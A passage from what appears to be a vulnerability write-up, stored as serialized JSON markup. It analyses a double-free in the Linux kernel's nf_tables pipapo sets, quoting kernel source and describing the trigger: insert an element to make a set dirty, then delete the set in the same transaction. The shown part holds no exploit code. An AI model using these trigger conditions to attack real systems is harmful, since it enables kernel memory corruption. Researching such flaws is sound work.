nf_tables_set_elem_destroy",{"type":26,"tag":475,"props":51325,"children":51326},{"style":499},[51327],{"type":32,"value":626},{"type":26,"tag":475,"props":51329,"children":51330},{"style":482},[51331],{"type":32,"value":9363},{"type":26,"tag":475,"props":51333,"children":51334},{"style":482},[51335],{"type":32,"value":20859},{"type":26,"tag":475,"props":51337,"children":51338},{"style":499},[51339],{"type":32,"value":50763},{"type":26,"tag":475,"props":51341,"children":51342},{"style":714},[51343],{"type":32,"value":4282},{"type":26,"tag":475,"props":51345,"children":51346},{"style":2375},[51347],{"type":32,"value":19988},{"type":26,"tag":475,"props":51349,"children":51350},{"style":499},[51351],{"type":32,"value":2425},{"type":26,"tag":475,"props":51353,"children":51354},{"class":477,"line":516},[51355,51360,51364,51368,51372,51376],{"type":26,"tag":475,"props":51356,"children":51357},{"style":482},[51358],{"type":32,"value":51359}," const",{"type":26,"tag":475,"props":51361,"children":51362},{"style":482},[51363],{"type":32,"value":20859},{"type":26,"tag":475,"props":51365,"children":51366},{"style":499},[51367],{"type":32,"value":50791},{"type":26,"tag":475,"props":51369,"children":51370},{"style":714},[51371],{"type":32,"value":4282},{"type":26,"tag":475,"props":51373,"children":51374},{"style":2375},[51375],{"type":32,"value":50711},{"type":26,"tag":475,"props":51377,"children":51378},{"style":499},[51379],{"type":32,"value":2425},{"type":26,"tag":475,"props":51381,"children":51382},{"class":477,"line":539},[51383,51387,51391,51396,51400,51405],{"type":26,"tag":475,"props":51384,"children":51385},{"style":482},[51386],{"type":32,"value":51359},{"type":26,"tag":475,"props":51388,"children":51389},{"style":482},[51390],{"type":32,"value":20859},{"type":26,"tag":475,"props":51392,"children":51393},{"style":499},[51394],{"type":32,"value":51395}," nft_elem_priv ",{"type":26,"tag":475,"props":51397,"children":51398},{"style":714},[51399],{"type":32,"value":4282},{"type":26,"tag":475,"props":51401,"children":51402},{"style":2375},[51403],{"type":32,"value":51404},"elem_priv",{"type":26,"tag":475,"props":51406,"children":51407},{"style":499},[51408],{"type":32,"value":647},{"type":26,"tag":475,"props":51410,"children":51411},{"class":477,"line":548},[51412],{"type":26,"tag":475,"props":51413,"children":51414},{"style":499},[51415],{"type":32,"value":10589},{"type":26,"tag":475,"props":51417,"children":51418},{"class":477,"line":558},[51419,51423,51428,51432,51437,51441,51446],{"type":26,"tag":475,"props":51420,"children":51421},{"style":482},[51422],{"type":32,"value":20859},{"type":26,"tag":475,"props":51424,"children":51425},{"style":499},[51426],{"type":32,"value":51427}," nft_set_ext ",{"type":26,"tag":475,"props":51429,"children":51430},{"style":714},[51431],{"type":32,"value":4282},{"type":26,"tag":475,"props":51433,"children":51434},{"style":499},[51435],{"type":32,"value":51436},"ext ",{"type":26,"tag":475,"props":51438,"children":51439},{"style":714},[51440],{"type":32,"value":786},{"type":26,"tag":475,"props":51442,"children":51443},{"style":493},[51444],{"type":32,"value":51445}," nft_set_elem_ext",{"type":26,"tag":475,"props":51447,"children":51448},{"style":499},[51449],{"type":32,"value":51450},"(set, elem_priv);\n",{"type":26,"tag":475,"props":51452,"children":51453},{"class":477,"line":582},[51454],{"type":26,"tag":475,"props":51455,"children":51456},{"emptyLinePlaceholder":18},[51457],{"type":32,"value":545},{"type":26,"tag":475,"props":51459,"children":51460},{"class":477,"line":596},[51461,51465,51469,51474],{"type":26,"tag":475,"props":51462,"children":51463},{"style":586},[51464],{"type":32,"value":15493},{"type":26,"tag":475,"props":51466,"children":51467},{"style":499},[51468],{"type":32,"value":2775},{"type":26,"tag":475,"props":51470,"children":51471},{"style":493},[51472],{"type":32,"value":51473},"nft_set_ext_exists",{"type":26,"tag":475,"props":51475,"children":51476},{"style":499},[51477],{"type":32,"value":51478},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":26,"tag":475,"props":51480,"children":51481},{"class":477,"line":610},[51482,51487,51492,51497],{"type":26,"tag":475,"props":51483,"children":51484},{"style":493},[51485],{"type":32,"value":51486}," nft_set_elem_expr_destroy",{"type":26,"tag":475,"props":51488,"children":51489},{"style":499},[51490],{"type":32,"value":51491},"(ctx, ",{"type":26,"tag":475,"props":51493,"children":51494},{"style":493},[51495],{"type":32,"value":51496},"nft_set_ext_expr",{"type":26,"tag":475,"props":51498,"children":51499},{"style":499},[51500],{"type":32,"value":51501},"(ext));\n",{"type":26,"tag":475,"props":51503,"children":51504},{"class":477,"line":650},[51505],{"type":26,"tag":475,"props":51506,"children":51507},{"emptyLinePlaceholder":18},[51508],{"type":32,"value":545},{"type":26,"tag":475,"props":51510,"children":51511},{"class":477,"line":679},[51512,51517],{"type":26,"tag":475,"props":51513,"children":51514},{"style":493},[51515],{"type":32,"value":51516}," kfree",{"type":26,"tag":475,"props":51518,"children":51519},{"style":499},[51520],{"type":32,"value":51521},"(elem_priv);\n",{"type":26,"tag":475,"props":51523,"children":51524},{"class":477,"line":735},[51525],{"type":26,"tag":475,"props":51526,"children":51527},{"style":499},[51528],{"type":32,"value":3607},{"type":26,"tag":35,"props":51530,"children":51531},{},[51532,51533,51539,51541,51546,51548,51553,51555,51560,51561,51566,51568,51573,51575,51580,51582,51587],{"type":32,"value":16319},{"type":26,"tag":53,"props":51534,"children":51536},{"className":51535},[],[51537],{"type":32,"value":51538},"nft_pipapo_match",{"type":32,"value":51540}," objects contain views of the ",{"type":26,"tag":53,"props":51542,"children":51544},{"className":51543},[],[51545],{"type":32,"value":50703},{"type":32,"value":51547},"'s of a ",{"type":26,"tag":53,"props":51549,"children":51551},{"className":51550},[],[51552],{"type":32,"value":50711},{"type":32,"value":51554},". The difference between the ",{"type":26,"tag":53,"props":51556,"children":51558},{"className":51557},[],[51559],{"type":32,"value":50688},{"type":32,"value":209},{"type":26,"tag":53,"props":51562,"children":51564},{"className":51563},[],[51565],{"type":32,"value":50672},{"type":32,"value":51567}," match objects is that the clone has a view of not only already committed ",{"type":26,"tag":53,"props":51569,"children":51571},{"className":51570},[],[51572],{"type":32,"value":50703},{"type":32,"value":51574},"'s that the \"normal\" one has but also a view of the ",{"type":26,"tag":53,"props":51576,"children":51578},{"className":51577},[],[51579],{"type":32,"value":50703},{"type":32,"value":51581},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":26,"tag":53,"props":51583,"children":51585},{"className":51584},[],[51586],{"type":32,"value":50688},{"type":32,"value":353},{"type":26,"tag":41,"props":51589,"children":51591},{"id":51590},"root-cause-analysis",[51592],{"type":32,"value":51593},"Root-cause analysis",{"type":26,"tag":35,"props":51595,"children":51596},{},[51597,51599,51605,51607,51612],{"type":32,"value":51598},"So ",{"type":26,"tag":53,"props":51600,"children":51602},{"className":51601},[],[51603],{"type":32,"value":51604},"nf_tables_set_elem_destroy",{"type":32,"value":51606}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":26,"tag":53,"props":51608,"children":51610},{"className":51609},[],[51611],{"type":32,"value":50703},{"type":32,"value":51613},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":26,"tag":35,"props":51615,"children":51616},{},[51617,51619,51624,51626,51631,51633,51638,51640,51645,51647,51652],{"type":32,"value":51618},"We should now try to understand how to reach that path with the ",{"type":26,"tag":53,"props":51620,"children":51622},{"className":51621},[],[51623],{"type":32,"value":50665},{"type":32,"value":51625}," flag set, which is a member of the private data of a pipapo ",{"type":26,"tag":53,"props":51627,"children":51629},{"className":51628},[],[51630],{"type":32,"value":50703},{"type":32,"value":51632}," that becomes true whenever a change is made to the ",{"type":26,"tag":53,"props":51634,"children":51636},{"className":51635},[],[51637],{"type":32,"value":50711},{"type":32,"value":51639}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":26,"tag":53,"props":51641,"children":51643},{"className":51642},[],[51644],{"type":32,"value":50711},{"type":32,"value":51646}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":26,"tag":53,"props":51648,"children":51650},{"className":51649},[],[51651],{"type":32,"value":50711},{"type":32,"value":51653}," dirty by inserting a new element.",{"type":26,"tag":465,"props":51655,"children":51657},{"className":16220,"code":51656,"language":2854,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[51658],{"type":26,"tag":53,"props":51659,"children":51660},{"__ignoreMap":7},[51661,51731,51760,51785,51792,51799,51828,51835],{"type":26,"tag":475,"props":51662,"children":51663},{"class":477,"line":478},[51664,51668,51672,51677,51681,51685,51689,51694,51698,51703,51707,51711,51715,51719,51723,51727],{"type":26,"tag":475,"props":51665,"children":51666},{"style":482},[51667],{"type":32,"value":50736},{"type":26,"tag":475,"props":51669,"children":51670},{"style":482},[51671],{"type":32,"value":50865},{"type":26,"tag":475,"props":51673,"children":51674},{"style":493},[51675],{"type":32,"value":51676}," nft_pipapo_insert",{"type":26,"tag":475,"props":51678,"children":51679},{"style":499},[51680],{"type":32,"value":626},{"type":26,"tag":475,"props":51682,"children":51683},{"style":482},[51684],{"type":32,"value":9363},{"type":26,"tag":475,"props":51686,"children":51687},{"style":482},[51688],{"type":32,"value":20859},{"type":26,"tag":475,"props":51690,"children":51691},{"style":499},[51692],{"type":32,"value":51693}," net ",{"type":26,"tag":475,"props":51695,"children":51696},{"style":714},[51697],{"type":32,"value":4282},{"type":26,"tag":475,"props":51699,"children":51700},{"style":2375},[51701],{"type":32,"value":51702},"net",{"type":26,"tag":475,"props":51704,"children":51705},{"style":499},[51706],{"type":32,"value":637},{"type":26,"tag":475,"props":51708,"children":51709},{"style":482},[51710],{"type":32,"value":9363},{"type":26,"tag":475,"props":51712,"children":51713},{"style":482},[51714],{"type":32,"value":20859},{"type":26,"tag":475,"props":51716,"children":51717},{"style":499},[51718],{"type":32,"value":50791},{"type":26,"tag":475,"props":51720,"children":51721},{"style":714},[51722],{"type":32,"value":4282},{"type":26,"tag":475,"props":51724,"children":51725},{"style":2375},[51726],{"type":32,"value":50711},{"type":26,"tag":475,"props":51728,"children":51729},{"style":499},[51730],{"type":32,"value":2425},{"type":26,"tag":475,"props":51732,"children":51733},{"class":477,"line":516},[51734,51738,51742,51747,51751,51756],{"type":26,"tag":475,"props":51735,"children":51736},{"style":482},[51737],{"type":32,"value":32600},{"type":26,"tag":475,"props":51739,"children":51740},{"style":482},[51741],{"type":32,"value":20859},{"type":26,"tag":475,"props":51743,"children":51744},{"style":499},[51745],{"type":32,"value":51746}," nft_set_elem ",{"type":26,"tag":475,"props":51748,"children":51749},{"style":714},[51750],{"type":32,"value":4282},{"type":26,"tag":475,"props":51752,"children":51753},{"style":2375},[51754],{"type":32,"value":51755},"elem",{"type":26,"tag":475,"props":51757,"children":51758},{"style":499},[51759],{"type":32,"value":2425},{"type":26,"tag":475,"props":51761,"children":51762},{"class":477,"line":539},[51763,51768,51772,51777,51781],{"type":26,"tag":475,"props":51764,"children":51765},{"style":482},[51766],{"type":32,"value":51767}," struct",{"type":26,"tag":475,"props":51769,"children":51770},{"style":499},[51771],{"type":32,"value":51395},{"type":26,"tag":475,"props":51773,"children":51774},{"style":714},[51775],{"type":32,"value":51776},"**",{"type":26,"tag":475,"props":51778,"children":51779},{"style":2375},[51780],{"type":32,"value":51404},{"type":26,"tag":475,"props":51782,"children":51783},{"style":499},[51784],{"type":32,"value":647},{"type":26,"tag":475,"props":51786,"children":51787},{"class":477,"line":548},[51788],{"type":26,"tag":475,"props":51789,"children":51790},{"style":499},[51791],{"type":32,"value":10589},{"type":26,"tag":475,"props":51793,"children":51794},{"class":477,"line":558},[51795],{"type":26,"tag":475,"props":51796,"children":51797},{"style":499},[51798],{"type":32,"value":2219},{"type":26,"tag":475,"props":51800,"children":51801},{"class":477,"line":582},[51802,51807,51811,51816,51820,51824],{"type":26,"tag":475,"props":51803,"children":51804},{"style":2375},[51805],{"type":32,"value":51806}," priv",{"type":26,"tag":475,"props":51808,"children":51809},{"style":499},[51810],{"type":32,"value":13464},{"type":26,"tag":475,"props":51812,"children":51813},{"style":2375},[51814],{"type":32,"value":51815},"dirty",{"type":26,"tag":475,"props":51817,"children":51818},{"style":714},[51819],{"type":32,"value":2383},{"type":26,"tag":475,"props":51821,"children":51822},{"style":482},[51823],{"type":32,"value":1214},{"type":26,"tag":475,"props":51825,"children":51826},{"style":499},[51827],{"type":32,"value":2729},{"type":26,"tag":475,"props":51829,"children":51830},{"class":477,"line":596},[51831],{"type":26,"tag":475,"props":51832,"children":51833},{"style":499},[51834],{"type":32,"value":2219},{"type":26,"tag":475,"props":51836,"children":51837},{"class":477,"line":610},[51838],{"type":26,"tag":475,"props":51839,"children":51840},{"style":499},[51841],{"type":32,"value":3607},{"type":26,"tag":35,"props":51843,"children":51844},{},[51845],{"type":32,"value":51846},"We also see that when the changes are commited, this flag is then unset.",{"type":26,"tag":465,"props":51848,"children":51850},{"className":16220,"code":51849,"language":2854,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[51851],{"type":26,"tag":53,"props":51852,"children":51853},{"__ignoreMap":7},[51854,51894,51901,51908,51939,51950,51957,51984,51991],{"type":26,"tag":475,"props":51855,"children":51856},{"class":477,"line":478},[51857,51861,51865,51870,51874,51878,51882,51886,51890],{"type":26,"tag":475,"props":51858,"children":51859},{"style":482},[51860],{"type":32,"value":50736},{"type":26,"tag":475,"props":51862,"children":51863},{"style":482},[51864],{"type":32,"value":50741},{"type":26,"tag":475,"props":51866,"children":51867},{"style":493},[51868],{"type":32,"value":51869}," nft_pipapo_commit",{"type":26,"tag":475,"props":51871,"children":51872},{"style":499},[51873],{"type":32,"value":626},{"type":26,"tag":475,"props":51875,"children":51876},{"style":482},[51877],{"type":32,"value":9111},{"type":26,"tag":475,"props":51879,"children":51880},{"style":499},[51881],{"type":32,"value":50791},{"type":26,"tag":475,"props":51883,"children":51884},{"style":714},[51885],{"type":32,"value":4282},{"type":26,"tag":475,"props":51887,"children":51888},{"style":2375},[51889],{"type":32,"value":50711},{"type":26,"tag":475,"props":51891,"children":51892},{"style":499},[51893],{"type":32,"value":647},{"type":26,"tag":475,"props":51895,"children":51896},{"class":477,"line":516},[51897],{"type":26,"tag":475,"props":51898,"children":51899},{"style":499},[51900],{"type":32,"value":10589},{"type":26,"tag":475,"props":51902,"children":51903},{"class":477,"line":539},[51904],{"type":26,"tag":475,"props":51905,"children":51906},{"style":499},[51907],{"type":32,"value":2219},{"type":26,"tag":475,"props":51909,"children":51910},{"class":477,"line":548},[51911,51915,51919,51923,51927,51931,51935],{"type":26,"tag":475,"props":51912,"children":51913},{"style":586},[51914],{"type":32,"value":15493},{"type":26,"tag":475,"props":51916,"children":51917},{"style":499},[51918],{"type":32,"value":2775},{"type":26,"tag":475,"props":51920,"children":51921},{"style":714},[51922],{"type":32,"value":20329},{"type":26,"tag":475,"props":51924,"children":51925},{"style":2375},[51926],{"type":32,"value":51266},{"type":26,"tag":475,"props":51928,"children":51929},{"style":499},[51930],{"type":32,"value":13464},{"type":26,"tag":475,"props":51932,"children":51933},{"style":2375},[51934],{"type":32,"value":51815},{"type":26,"tag":475,"props":51936,"children":51937},{"style":499},[51938],{"type":32,"value":647},{"type":26,"tag":475,"props":51940,"children":51941},{"class":477,"line":558},[51942,51946],{"type":26,"tag":475,"props":51943,"children":51944},{"style":586},[51945],{"type":32,"value":38891},{"type":26,"tag":475,"props":51947,"children":51948},{"style":499},[51949],{"type":32,"value":2729},{"type":26,"tag":475,"props":51951,"children":51952},{"class":477,"line":582},[51953],{"type":26,"tag":475,"props":51954,"children":51955},{"style":499},[51956],{"type":32,"value":2219},{"type":26,"tag":475,"props":51958,"children":51959},{"class":477,"line":596},[51960,51964,51968,51972,51976,51980],{"type":26,"tag":475,"props":51961,"children":51962},{"style":2375},[51963],{"type":32,"value":51806},{"type":26,"tag":475,"props":51965,"children":51966},{"style":499},[51967],{"type":32,"value":13464},{"type":26,"tag":475,"props":51969,"children":51970},{"style":2375},[51971],{"type":32,"value":51815},{"type":26,"tag":475,"props":51973,"children":51974},{"style":714},[51975],{"type":32,"value":2383},{"type":26,"tag":475,"props":51977,"children":51978},{"style":482},[51979],{"type":32,"value":8769},{"type":26,"tag":475,"props":51981,"children":51982},{"style":499},[51983],{"type":32,"value":2729},{"type":26,"tag":475,"props":51985,"children":51986},{"class":477,"line":610},[51987],{"type":26,"tag":475,"props":51988,"children":51989},{"style":499},[51990],{"type":32,"value":2219},{"type":26,"tag":475,"props":51992,"children":51993},{"class":477,"line":650},[51994],{"type":26,"tag":475,"props":51995,"children":51996},{"style":499},[51997],{"type":32,"value":3607},{"type":26,"tag":35,"props":51999,"children":52000},{},[52001,52003,52008,52010,52015,52017,52022,52024,52029,52031,52037,52039,52045,52047,52052],{"type":32,"value":52002},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":26,"tag":53,"props":52004,"children":52006},{"className":52005},[],[52007],{"type":32,"value":50703},{"type":32,"value":52009}," in the ",{"type":26,"tag":53,"props":52011,"children":52013},{"className":52012},[],[52014],{"type":32,"value":50711},{"type":32,"value":52016}," to make it dirty and then delete the ",{"type":26,"tag":53,"props":52018,"children":52020},{"className":52019},[],[52021],{"type":32,"value":50711},{"type":32,"value":52023},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":26,"tag":53,"props":52025,"children":52027},{"className":52026},[],[52028],{"type":32,"value":50711},{"type":32,"value":52030},"'s ",{"type":26,"tag":53,"props":52032,"children":52034},{"className":52033},[],[52035],{"type":32,"value":52036},"->commit()",{"type":32,"value":52038}," method is executed before its ",{"type":26,"tag":53,"props":52040,"children":52042},{"className":52041},[],[52043],{"type":32,"value":52044},"->destroy()",{"type":32,"value":52046}," method, then the ",{"type":26,"tag":53,"props":52048,"children":52050},{"className":52049},[],[52051],{"type":32,"value":51815},{"type":32,"value":52053}," flag will be unset, and we won't be able to trigger the double-free.",{"type":26,"tag":35,"props":52055,"children":52056},{},[52057],{"type":32,"value":52058},"Let's once again refer to the code and see how these methods are called.",{"type":26,"tag":465,"props":52060,"children":52062},{"className":16220,"code":52061,"language":2854,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52063],{"type":26,"tag":53,"props":52064,"children":52065},{"__ignoreMap":7},[52066,52128,52135,52142,52150,52163,52198,52232,52274,52296,52308,52321,52328,52376,52417,52457,52470,52477,52484,52491,52498,52523,52530,52543,52550,52566],{"type":26,"tag":475,"props":52067,"children":52068},{"class":477,"line":478},[52069,52073,52077,52082,52086,52090,52094,52098,52102,52106,52110,52115,52119,52124],{"type":26,"tag":475,"props":52070,"children":52071},{"style":482},[52072],{"type":32,"value":50736},{"type":26,"tag":475,"props":52074,"children":52075},{"style":482},[52076],{"type":32,"value":50865},{"type":26,"tag":475,"props":52078,"children":52079},{"style":493},[52080],{"type":32,"value":52081}," nf_tables_commit",{"type":26,"tag":475,"props":52083,"children":52084},{"style":499},[52085],{"type":32,"value":626},{"type":26,"tag":475,"props":52087,"children":52088},{"style":482},[52089],{"type":32,"value":9111},{"type":26,"tag":475,"props":52091,"children":52092},{"style":499},[52093],{"type":32,"value":51693},{"type":26,"tag":475,"props":52095,"children":52096},{"style":714},[52097],{"type":32,"value":4282},{"type":26,"tag":475,"props":52099,"children":52100},{"style":2375},[52101],{"type":32,"value":51702},{"type":26,"tag":475,"props":52103,"children":52104},{"style":499},[52105],{"type":32,"value":637},{"type":26,"tag":475,"props":52107,"children":52108},{"style":482},[52109],{"type":32,"value":9111},{"type":26,"tag":475,"props":52111,"children":52112},{"style":499},[52113],{"type":32,"value":52114}," sk_buff ",{"type":26,"tag":475,"props":52116,"children":52117},{"style":714},[52118],{"type":32,"value":4282},{"type":26,"tag":475,"props":52120,"children":52121},{"style":2375},[52122],{"type":32,"value":52123},"skb",{"type":26,"tag":475,"props":52125,"children":52126},{"style":499},[52127],{"type":32,"value":647},{"type":26,"tag":475,"props":52129,"children":52130},{"class":477,"line":516},[52131],{"type":26,"tag":475,"props":52132,"children":52133},{"style":499},[52134],{"type":32,"value":10589},{"type":26,"tag":475,"props":52136,"children":52137},{"class":477,"line":539},[52138],{"type":26,"tag":475,"props":52139,"children":52140},{"style":499},[52141],{"type":32,"value":2219},{"type":26,"tag":475,"props":52143,"children":52144},{"class":477,"line":548},[52145],{"type":26,"tag":475,"props":52146,"children":52147},{"style":499},[52148],{"type":32,"value":52149}," case NFT_MSG_DELSET:\n",{"type":26,"tag":475,"props":52151,"children":52152},{"class":477,"line":558},[52153,52158],{"type":26,"tag":475,"props":52154,"children":52155},{"style":499},[52156],{"type":32,"value":52157}," case NFT_MSG_DESTROYSET:",{"type":26,"tag":475,"props":52159,"children":52160},{"style":552},[52161],{"type":32,"value":52162}," // [1]\n",{"type":26,"tag":475,"props":52164,"children":52165},{"class":477,"line":582},[52166,52171,52176,52181,52185,52189,52193],{"type":26,"tag":475,"props":52167,"children":52168},{"style":493},[52169],{"type":32,"value":52170}," nft_trans_set",{"type":26,"tag":475,"props":52172,"children":52173},{"style":499},[52174],{"type":32,"value":52175},"(trans)->",{"type":26,"tag":475,"props":52177,"children":52178},{"style":2375},[52179],{"type":32,"value":52180},"dead",{"type":26,"tag":475,"props":52182,"children":52183},{"style":714},[52184],{"type":32,"value":2383},{"type":26,"tag":475,"props":52186,"children":52187},{"style":903},[52188],{"type":32,"value":4234},{"type":26,"tag":475,"props":52190,"children":52191},{"style":499},[52192],{"type":32,"value":48766},{"type":26,"tag":475,"props":52194,"children":52195},{"style":552},[52196],{"type":32,"value":52197}," // [2]\n",{"type":26,"tag":475,"props":52199,"children":52200},{"class":477,"line":596},[52201,52206,52210,52214,52219,52223,52228],{"type":26,"tag":475,"props":52202,"children":52203},{"style":493},[52204],{"type":32,"value":52205}," list_del_rcu",{"type":26,"tag":475,"props":52207,"children":52208},{"style":499},[52209],{"type":32,"value":626},{"type":26,"tag":475,"props":52211,"children":52212},{"style":714},[52213],{"type":32,"value":2816},{"type":26,"tag":475,"props":52215,"children":52216},{"style":493},[52217],{"type":32,"value":52218},"nft_trans_set",{"type":26,"tag":475,"props":52220,"children":52221},{"style":499},[52222],{"type":32,"value":52175},{"type":26,"tag":475,"props":52224,"children":52225},{"style":2375},[52226],{"type":32,"value":52227},"list",{"type":26,"tag":475,"props":52229,"children":52230},{"style":499},[52231],{"type":32,"value":3533},{"type":26,"tag":475,"props":52233,"children":52234},{"class":477,"line":610},[52235,52240,52244,52248,52253,52257,52261,52265,52269],{"type":26,"tag":475,"props":52236,"children":52237},{"style":493},[52238],{"type":32,"value":52239}," nf_tables_set_notify",{"type":26,"tag":475,"props":52241,"children":52242},{"style":499},[52243],{"type":32,"value":626},{"type":26,"tag":475,"props":52245,"children":52246},{"style":714},[52247],{"type":32,"value":2816},{"type":26,"tag":475,"props":52249,"children":52250},{"style":2375},[52251],{"type":32,"value":52252},"trans",{"type":26,"tag":475,"props":52254,"children":52255},{"style":499},[52256],{"type":32,"value":13464},{"type":26,"tag":475,"props":52258,"children":52259},{"style":2375},[52260],{"type":32,"value":19988},{"type":26,"tag":475,"props":52262,"children":52263},{"style":499},[52264],{"type":32,"value":637},{"type":26,"tag":475,"props":52266,"children":52267},{"style":493},[52268],{"type":32,"value":52218},{"type":26,"tag":475,"props":52270,"children":52271},{"style":499},[52272],{"type":32,"value":52273},"(trans),\n",{"type":26,"tag":475,"props":52275,"children":52276},{"class":477,"line":650},[52277,52282,52286,52291],{"type":26,"tag":475,"props":52278,"children":52279},{"style":2375},[52280],{"type":32,"value":52281}," trans",{"type":26,"tag":475,"props":52283,"children":52284},{"style":499},[52285],{"type":32,"value":13464},{"type":26,"tag":475,"props":52287,"children":52288},{"style":2375},[52289],{"type":32,"value":52290},"msg_type",{"type":26,"tag":475,"props":52292,"children":52293},{"style":499},[52294],{"type":32,"value":52295},", GFP_KERNEL);\n",{"type":26,"tag":475,"props":52297,"children":52298},{"class":477,"line":679},[52299,52304],{"type":26,"tag":475,"props":52300,"children":52301},{"style":586},[52302],{"type":32,"value":52303}," break",{"type":26,"tag":475,"props":52305,"children":52306},{"style":499},[52307],{"type":32,"value":2729},{"type":26,"tag":475,"props":52309,"children":52310},{"class":477,"line":735},[52311,52316],{"type":26,"tag":475,"props":52312,"children":52313},{"style":499},[52314],{"type":32,"value":52315}," case NFT_MSG_NEWSETELEM:",{"type":26,"tag":475,"props":52317,"children":52318},{"style":552},[52319],{"type":32,"value":52320}," // [3]\n",{"type":26,"tag":475,"props":52322,"children":52323},{"class":477,"line":744},[52324],{"type":26,"tag":475,"props":52325,"children":52326},{"style":499},[52327],{"type":32,"value":2219},{"type":26,"tag":475,"props":52329,"children":52330},{"class":477,"line":753},[52331,52336,52340,52345,52349,52353,52357,52362,52366,52371],{"type":26,"tag":475,"props":52332,"children":52333},{"style":586},[52334],{"type":32,"value":52335}," if",{"type":26,"tag":475,"props":52337,"children":52338},{"style":499},[52339],{"type":32,"value":2775},{"type":26,"tag":475,"props":52341,"children":52342},{"style":2375},[52343],{"type":32,"value":52344},"te",{"type":26,"tag":475,"props":52346,"children":52347},{"style":499},[52348],{"type":32,"value":13464},{"type":26,"tag":475,"props":52350,"children":52351},{"style":2375},[52352],{"type":32,"value":50711},{"type":26,"tag":475,"props":52354,"children":52355},{"style":499},[52356],{"type":32,"value":13464},{"type":26,"tag":475,"props":52358,"children":52359},{"style":2375},[52360],{"type":32,"value":52361},"ops",{"type":26,"tag":475,"props":52363,"children":52364},{"style":499},[52365],{"type":32,"value":13464},{"type":26,"tag":475,"props":52367,"children":52368},{"style":2375},[52369],{"type":32,"value":52370},"commit",{"type":26,"tag":475,"props":52372,"children":52373},{"style":714},[52374],{"type":32,"value":52375}," &&\n",{"type":26,"tag":475,"props":52377,"children":52378},{"class":477,"line":761},[52379,52384,52388,52392,52396,52400,52404,52408,52413],{"type":26,"tag":475,"props":52380,"children":52381},{"style":493},[52382],{"type":32,"value":52383}," list_empty",{"type":26,"tag":475,"props":52385,"children":52386},{"style":499},[52387],{"type":32,"value":626},{"type":26,"tag":475,"props":52389,"children":52390},{"style":714},[52391],{"type":32,"value":2816},{"type":26,"tag":475,"props":52393,"children":52394},{"style":2375},[52395],{"type":32,"value":52344},{"type":26,"tag":475,"props":52397,"children":52398},{"style":499},[52399],{"type":32,"value":13464},{"type":26,"tag":475,"props":52401,"children":52402},{"style":2375},[52403],{"type":32,"value":50711},{"type":26,"tag":475,"props":52405,"children":52406},{"style":499},[52407],{"type":32,"value":13464},{"type":26,"tag":475,"props":52409,"children":52410},{"style":2375},[52411],{"type":32,"value":52412},"pending_update",{"type":26,"tag":475,"props":52414,"children":52415},{"style":499},[52416],{"type":32,"value":34889},{"type":26,"tag":475,"props":52418,"children":52419},{"class":477,"line":770},[52420,52425,52429,52433,52437,52441,52445,52449,52453],{"type":26,"tag":475,"props":52421,"children":52422},{"style":493},[52423],{"type":32,"value":52424}," list_add_tail",{"type":26,"tag":475,"props":52426,"children":52427},{"style":499},[52428],{"type":32,"value":626},{"type":26,"tag":475,"props":52430,"children":52431},{"style":714},[52432],{"type":32,"value":2816},{"type":26,"tag":475,"props":52434,"children":52435},{"style":2375},[52436],{"type":32,"value":52344},{"type":26,"tag":475,"props":52438,"children":52439},{"style":499},[52440],{"type":32,"value":13464},{"type":26,"tag":475,"props":52442,"children":52443},{"style":2375},[52444],{"type":32,"value":50711},{"type":26,"tag":475,"props":52446,"children":52447},{"style":499},[52448],{"type":32,"value":13464},{"type":26,"tag":475,"props":52450,"children":52451},{"style":2375},[52452],{"type":32,"value":52412},{"type":26,"tag":475,"props":52454,"children":52455},{"style":499},[52456],{"type":32,"value":2425},{"type":26,"tag":475,"props":52458,"children":52459},{"class":477,"line":794},[52460,52465],{"type":26,"tag":475,"props":52461,"children":52462},{"style":714},[52463],{"type":32,"value":52464}," &",{"type":26,"tag":475,"props":52466,"children":52467},{"style":499},[52468],{"type":32,"value":52469},"set_update_list);\n",{"type":26,"tag":475,"props":52471,"children":52472},{"class":477,"line":831},[52473],{"type":26,"tag":475,"props":52474,"children":52475},{"style":499},[52476],{"type":32,"value":34443},{"type":26,"tag":475,"props":52478,"children":52479},{"class":477,"line":845},[52480],{"type":26,"tag":475,"props":52481,"children":52482},{"style":499},[52483],{"type":32,"value":2219},{"type":26,"tag":475,"props":52485,"children":52486},{"class":477,"line":854},[52487],{"type":26,"tag":475,"props":52488,"children":52489},{"style":499},[52490],{"type":32,"value":1116},{"type":26,"tag":475,"props":52492,"children":52493},{"class":477,"line":862},[52494],{"type":26,"tag":475,"props":52495,"children":52496},{"emptyLinePlaceholder":18},[52497],{"type":32,"value":545},{"type":26,"tag":475,"props":52499,"children":52500},{"class":477,"line":885},[52501,52506,52510,52514,52519],{"type":26,"tag":475,"props":52502,"children":52503},{"style":493},[52504],{"type":32,"value":52505}," 